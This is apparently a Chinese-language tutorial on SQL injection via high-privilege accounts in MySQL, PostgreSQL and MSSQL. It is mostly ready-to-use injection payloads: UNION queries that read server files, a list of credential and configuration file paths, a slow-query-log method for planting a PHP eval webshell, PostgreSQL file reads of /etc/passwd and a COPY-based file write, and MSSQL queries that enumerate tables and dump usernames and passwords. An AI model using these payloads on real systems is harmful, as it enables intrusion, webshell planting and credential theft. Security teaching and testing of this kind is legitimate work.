什么是高权限注入
高权限注入指的是攻击者通过SQL注入漏洞,利用具有高级权限的数据库账户(如MYSQL的root用户、MSSQL的sa用户、PostgreSQL的dba用户)执行恶意SQL语句。这些高级权限账户能够访问和修改数据库中的所有数据,甚至执行操作系统级别的命令。
数据库用户权限差异
在数据库中,用户分为普通用户和高级用户。普通用户通常只能访问和操作自己所属数据库的数据,而高级用户(如root、sa、dba)则拥有跨库查询、修改数据的权限,甚至能够执行系统命令。这种权限差异使得高权限注入比普通SQL注入更具威胁性。
Access无高权限注入点-只能猜解,还是暴力猜解 ,因为他是独立用户权限,独立的运行环境
MYSQL高权限注入
文件读写操作
MYSQL高权限注入主要通过构造恶意的SQL查询语句,利用root等高权限账户执行。攻击者可以使用LOAD_FILE()
函数读取服务器上的文件,或者使用OUTFILE()
、DUMPFILE()
函数写入文件。此外,还可以利用慢查询日志功能,将恶意代码写入日志文件,进而通过Web服务器访问执行。
注:在5.7以上版本默认禁用load_file等读写函数,需要在my.ini或my.cnf配置文件中的[mysqld]节点中添加secure_file_priv=""运行读取任何位置文件,或者secure_file_priv="E:/"指定某个位置
load_file 函数是MySQL中的一个内置函数,用于读取和返回指定文件的内容。它可以读取服务器上的任何文件包括文本文件、图片文件等。
OUTFILE()和DUMPFILE()用于查询的数据导出到文件中
用法:
select …… into outfile
select …… into dumpfile
outfile函数可以导出多行,而dumpfile只能导出一行数据,且超出会提示输出超过一行
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
当拥有读写文件权限,使用union注入进行读写
-读取文件:
UNION SELECT 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
-路径获取:phpinfo,报错,字典等
读取关键文件,可以在搜索关键函数等
读取关键配置文件:http://127.0.0.1:8081/web/mysql/news.php?id=1 UNION SELECT 1,load_file('D:\\phpstudy_pro\\WWW\\web\\mysql\\config\\conn.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
-常用路径:
WINDOWS下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆 密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看 WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
-写入文件:
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt'
数据库写文件:select 'xxx' into outfile 'd:/1.txt';
-无法写入:
因为secure_file_priv做了限制,可以通过慢日志突破。
慢查询日志,是MySQL提供的一种日志记录,用来记录在MySQL中响应时间超过阀值的语句。具体环境中,运行时间超过long_query_time值的SQL语句,则会被记录到慢查询日志中。long_query_time的默认值为10,意思是记录运行10秒以上的语句。
将后门代码注入到日志中,前提是注入中需要支持SQL执行环境,没有就需要借助,如phpmyadmin下SQL执行环境、mysql的shell等等
set global slow_query_log=1; --开启慢日志记录
set global slow_query_log_file='shell路径'; --设置慢日志保存路径
select '<?php eval($_POST[A]);?>' or SLEEP(11); --睡眠11秒使其超过阈值记录在日志
访问shell路径,连接后门。
PostgreSQL高权限注入
一般注入
PostgreSQL高权限注入通过利用dba等高权限账户执行恶意的SQL查询语句。攻击者可以使用系统函数如version()
、current_user
、current_database()
等获取数据库信息,使用COPY TO
、COPY FROM
等命令读写文件。
同样的使用order by测试当前查询到多少列,不一样的是需要使用null来作为占位符
并且逐个把null改为字符串'null'判断显示位,如
-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误
-获取信息:
and 1=2 UNION SELECT null,version(),null,null --获取版本信息
and 1=2 UNION SELECT null,current_user,null,null --获取当前用户
and 1=2 union select null,current_database(),null,null --获取当前数据库名
pg_database表是在一个集群里的所有数据库共享的: 每个集群只有一份pg_database拷贝,而不是每个数据库一份。其中datname字段保存所以可用数据库名
-获取所以数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from pg_database
string_agg
是PostgreSQL中的一个聚合函数,用于将一组值连接为一个字符串。它接受两个参数:要连接的值和连接符。
pg_tables表提供了对有关数据库中每个表的有用信息地访问。
schemaname字段保存表的模式Schema,每个数据库至少有一个名为
public
的模式,这是默认的模式,如果没有特别指定,创建的表、视图等对象就会放在这个模式中。tablename字段保存表名
pg_stat_user_tables
用于显示用户定义的表的统计信息。relname字段保存表名
-通过以上两个表获取表名:
1、and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
2、and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables
information_schema
中,包含了多个视图(views),这些视图提供了关于表、列、数据类型、约束、视图、触发器、例程(如存储过程和函数)等数据库对象的信息
TABLES
:提供了数据库中所有表的信息,包括表名、架构名等。COLUMNS
:提供了表中所有列的信息,包括列名、数据类型、是否允许为空等。SCHEMATA
:提供了数据库中所有架构(schemas)的信息。
information_schema.columns
视图包含了以下一些关键的列(字段)
table_name
:包含该列所在的表的名称。column_name
:列的名称。
-获取reg_users表的列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'
-获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
文件读写操作
列出目录/权限
pg_ls_dir()列出文件夹的目录(在早期的 PostgreSQL 版本中,pg_ls_dir 不允许使用绝对路径)
select pg_ls_dir('/etc');
-- 获取 pgsql 安装目录
pg_settings
提供了对服务器运行时参数的访问。name:运行时配置参数名
setting:参数的当前值
'data_directory':数据存放目录位置
'config_file':配置文件位置
select setting from pg_settings where name = 'data_directory';
-- 查找 pgsql 配置文件路径
select setting from pg_settings where name='config_file'
-- 查询是否位管理员权限
select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
读文件
方法一:直接读取
-- 注意: 在早期的 PostgreSQL 版本中,pg_read_file 不允许使用绝对路径
select pg_read_file('/etc/passwd');-- 单引号被转义的情况下使用
select/**/PG_READ_FILE($$/etc/passwd$$)
方法二:建表拷贝读取
create table testf0x(t TEXT);
copy testf0x from '/etc/passwd';
select * from testf0x limit 1 offset 0;
方法3 lo_import
lo_import 允许指定文件系统路径。该文件将被读取并加载到一个大对象中,并返回该对象的 OID。
Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a-- 单引号被转义的情况下使用
select/**/lo_import($$/etc/passwd$$,11111);
select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111
简单解释下这两天条语句
lo_import(路径,OID)
--Select lo_import('/etc/passwd',12345678);
就是将
etc/passwd
文件被导入到OID为12345678的大型对象中--select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a
从
pg_largeobject
表中检索OID为12345678的大型对象的数据。pg_largeobject
表存储了数据库中所有大型对象的数据,这些数据被分割成多个页面(pages),每个页面有唯一的pageno
(页码)和相应的data
(数据)。子查询选择了每个页面的数据和页码,并使用encode(data,'hex')
将二进制数据转换为十六进制字符串。
array_agg
是一个聚合函数,用于将多行数据聚合成一个数组。
写文件
-需要知道网站绝对路径
COPY 命令可以用于表和文件之间交换数据,这里可以用它写 webshell
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
MSSQL(SQL Server)高权限注入
一般注入
MSSQL高权限注入同样通过构造恶意的SQL查询语句,利用sa等高权限账户执行。攻击者可以使用系统函数如@@version
、db_name()
等获取数据库信息,使用xp_cmdshell
执行系统命令。此外,还可以利用堆叠查询(Stacked Queries)执行多条SQL语句。
操作相似
-测列数:
order by 4
and 1=2 union all select null,null,null,null
-测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null
-获取信息:
@@version 获取版本信息db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名@@SERVERNAME 获取服务器主机信息
--前置知识:
mssql中没有limit,这里使用top,
top n #查询前n条记录;
xtpye ='u' 这个是我们指定查询的条件,查询他自定义的表
sysobjects:记录了数据库中所有表,常⽤字段为id、name和xtype。
syscolumns:记录了数据库中所有表的字段,常⽤字段为id、name和xtype。
object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的
col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.
--查询有几张表
?id=2 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.sysobjects where xtype='u'),@@version,null
--查询第一个表名
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null--查询第二个表名,直接指定查询条件为name 不等于manage 然后爆出他的第二张表 如果后面还需要查询的话也是同样的方式。
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null--获取有几个列名
?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.syscolumns where id=object_id('manage')),'3',null
--获取列名
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),1) ),'3',null
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),2) ),'3',null
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),3) ),'3',null
--也可以通过syscolumns视图获取,不使用col_name
-- 查询manage表的第一个字段名
?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage')),null,null
-- 查询manage表的第二个字段名
?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id'),null,null
-- 查询manage表的第三个字段名
?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id' and name<>'username'),null,null--获取记录数
?id=1 and 1=2 union all select null,count(*),null,null from manage
--获取帐号密码
?id=1 and 1=2 union all select null,username,password,null from manage
这部分参考https://www.cnblogs.com/02SWD/p/15830219.html